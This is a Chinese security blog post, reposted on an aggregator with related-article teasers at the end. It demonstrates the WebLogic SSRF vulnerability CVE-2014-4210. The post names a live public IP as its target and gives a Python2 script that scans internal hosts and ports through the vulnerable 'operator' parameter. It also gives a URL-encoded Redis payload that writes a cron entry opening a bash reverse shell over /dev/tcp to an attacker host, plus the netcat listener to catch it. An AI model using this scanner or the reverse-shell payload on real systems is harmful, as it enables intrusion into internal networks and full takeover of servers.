SSRF,以weblogic为案例

给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!

在这里插入图片描述复习一下ssrf的原理及危害,并且以weblog的ssrf漏洞为案例

漏洞原理

SSRF(Server-side Request Forge, 服务端请求伪造)

通常用于控制web进而探测内网服务以及攻击内网脆弱应用

即当作跳板机,可作为ssrfsocks代理
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
通俗的说,比如这样一个url:,如果我们将换为与该服务器相连的内网服务器地址会产生什么效果呢?比如127.0.0.1、10.0.0.1、192.168.1.1等等,如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会返回其他的状态码,所以:如果应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤,就可能存在这种服务端请求伪造的缺陷。

漏洞产生
由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。

漏洞信息:

CVE-2014-4210,

版本:10.0.2,10.3.6,12.1.1,12.1.2.0.0

复现过程

访问 http://218.244.139.43:7001/uddiexplorer/ 无需登录即可查看uddiexplorer应用。
在这里插入图片描述
在这里插入图片描述
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001
抓包:观察发现operator参数,传递了一个URL,服务器回去访问这个url,可以思考它是否可以去访问内网主机,是否有SSRF漏洞
在这里插入图片描述

测试在访问不用的URL和端口时,返回的结果是否相同:

访问url和7001端口:返回一个404 状态码
在这里插入图片描述

访问一个不存在的端口:
在这里插入图片描述

根据报错的不同,可以进行内网探测,首先需要知道他的内网网段、

docker内网网段为172.18.0.xxx

简单脚本(Python2)(以知道网段为前提)

import thread
import time
import re
import requestsdef ite_ip(ip):for i in range(1, 256):final_ip = '{ip}.{i}'.format(ip=ip, i=i)print final_ipthread.start_new_thread(scan, (final_ip,))time.sleep(3)def scan(final_ip):ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')for port in ports:vul_url = 'http://your ip:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)try:#print vul_urlr = requests.get(vul_url, timeout=15, verify=False)result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)result2 = re.findall('but could not connect', r.content)result3 = re.findall('No route to host', r.content)if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:print '[!]'+final_ip + ':' + portexcept Exception, e:passif __name__ == '__main__':ip = "172.18.0"if ip:print ipite_ip(ip)else:print "no ip"

在这里插入图片描述
反弹shell:
利用这个6379端口,注入http头,将反弹shell脚本写入:

textset 1\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.3.222/7778 0>&1\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
saveaaa

使用url编码:

text%0A%0Aset%201%20%E2%80%9C%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.222%2F7778%200%3E%261%5Cn%5Cn%5Cn%5Cn%E2%80%9D%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%20%0A%0Aaaa

脚本含义:

. 发送三条redis命令,将弹shell脚本写入/etc/crontab: 分别为:
1. *号,意思是这条命令一直执行,也就是一直执行反弹shell的命令
2. 置redis备份文件的工作目录
3. 写入哪个文件,如果不存在,就创建

  • crontap 就是linux定时任务的位置,即守护进程

  • /etc/crontab 这个是肯定的 *
    /etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。

  • /var/spool/cron/root centos系统下root用户的cron文件

  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件
    在这里插入图片描述

开启端口监听:

nc -lvvnp 7778

收到数据包,反弹shell成功

看完点赞关注不迷路!!! 后续继续更新优质安全内容!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532556.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++11 右值引用、移动语义、完美转发、万能引用

C11 右值引用、移动语义、完美转发、引用折叠、万能引用 转自:http://c.biancheng.net/ C中的左值和右值 右值引用可以从字面意思上理解,指的是以引用传递(而非值传递)的方式使用 C 右值。关于 C 引用,已经在《C引用…

Java安全(一) : java类 | 反射

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 1.java基础 Java平台共分为三个主要版本Java SE(Java Platform, Standard Edition,Java平台标准版)、Java EE&#xff0…

对某公司一次弱口令到存储型xss挖掘

转自我的奇安信攻防社区文章:https://forum.butian.net/share/885 免责声明: 渗透过程为授权测试,所有漏洞均以提交相关平台,博客目的只为分享挖掘思路和知识传播** 涉及知识: xss注入及xss注入绕过 挖掘过程: 某次针对某目标信息搜集无意发现某工程公司的项目招标平台 …

C++11新特性选讲 语言部分 侯捷

C11新特性选讲 语言部分 侯捷 本课程分为两个部分:语言的部分和标准库的部分。只谈新特性,并且是选讲。 本文为语言部分笔记。 语言 Variadic Templatesmove semanticsautoRange-based for loopInitializer listLambdas… 标准库 type_traitsunodered…

java安全(二):JDBC|sql注入|预编译

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 1 JDBC基础 JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通…

java安全(三)RMI

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 1.RMI 是什么 RMI(Remote Method Invocation)即Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信…

java安全(四) JNDI

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 1.JNDI JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java…

java安全(五)java反序列化

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 1. 序列化 在调用RMI时,发现接收发送数据都是反序列化数据. 例如JSON和XML等语言,在网络上传递信息,都会用到一些格式化数据,大多数处理方法中&#xff0c…

git merge和rebase的区别与选择

git merge和rebase的区别与选择 转自:https://github.com/geeeeeeeeek/git-recipes/wiki/5.1-%E4%BB%A3%E7%A0%81%E5%90%88%E5%B9%B6%EF%BC%9AMerge%E3%80%81Rebase-%E7%9A%84%E9%80%89%E6%8B%A9#merge BY 童仲毅(geeeeeeeeekgithub) 这是一篇…

java安全(六)java反序列化2,ysoserial调试

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! ysoserial 下载地址:https://github.com/angelwhu/ysoserial ysoserial可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据&…

java安全(七) 反序列化3 CC利用链 TransformedMap版

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 目录图解代码demo涉及的接口与类:TransformedMapTransformerConstantTransformerInvokerTransformerChainedTransformerdome理解总结&#xff1a…

java安全(八)TransformedMap构造POC

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 上一篇构造了一个了commons-collections的demo 【传送门】 package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer; import org…

Pytorch Tutorial 使用torch.autograd进行自动微分

Pytorch Tutorial 使用torch.autograd进行自动微分 本文翻译自 PyTorch 官网教程。 原文:https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在训练神经网络时,最常使用…

TVM:编译深度学习模型快速上手教程

TVM:编译深度学习模型快速上手教程 本文将展示如何使用 Relay python 前端构建一个神经网络,并使用 TVM 为 Nvidia GPU 生成一个运行时库。 注意我们需要再构建 TVM 时启用了 cuda 和 llvm。 TVM支持的硬件后端总览 在本教程中,我们使用 cu…

TVM:设计与架构

TVM:设计与架构 本文档适用于想要了解 TVM 架构和/或积极开发项目的开发人员。页面组织如下: 示例编译流程概述了 TVM 将模型的高层描述转换为可部署模块所采取的步骤。要开始使用,请先阅读本节。 逻辑架构组件部分描述了逻辑组件。后面的部…

Nvidia CUDA初级教程4 GPU体系架构概述

Nvidia CUDA初级教程4 GPU体系架构概述 视频:https://www.bilibili.com/video/BV1kx411m7Fk?p5 讲师:周斌 本节内容: 为什么需要GPU三种方法提升GPU的处理速度实际GPU的设计举例: NVDIA GTX 480: FermiNVDIA GTX 680: Kepler GP…

Nvidia CUDA初级教程5 CUDA/GPU编程模型

Nvidia CUDA初级教程5 CUDA/GPU编程模型 视频:https://www.bilibili.com/video/BV1kx411m7Fk?p6 讲师:周斌 本节内容: CPU和GPU互动模式GPU线程组织模型(需要不停强化)GPU存储模型基本的编程问题 CPU与GPU交互 各自…

Nvidia CUDA初级教程6 CUDA编程一

Nvidia CUDA初级教程6 CUDA编程一 视频:https://www.bilibili.com/video/BV1kx411m7Fk?p7 讲师:周斌 GPU架构概览 GPU特别使用于: 密集计算,高度可并行计算图形学 晶体管主要被用于: 执行计算而不是 缓存数据控制指令…

由前中后遍历序列构建二叉树

由前/中/后遍历序列构建二叉树 基础 首先,我们需要知道前中后序三种深度优先遍历二叉树的方式的具体顺序: 前序:中左右中序:左中右后序:左右中 另外,要知道只有中序前/后序可以唯一确定一棵二叉树&…

目标检测综述

目标检测综述 转自:https://zhuanlan.zhihu.com/p/383616728 论文参考:[Object Detection in 20 Years: A Survey][https://arxiv.org/abs/1905.05055] 引言 目标检测领域发展至今已有二十余载,从早期的传统方法到如今的深度学习方法&#x…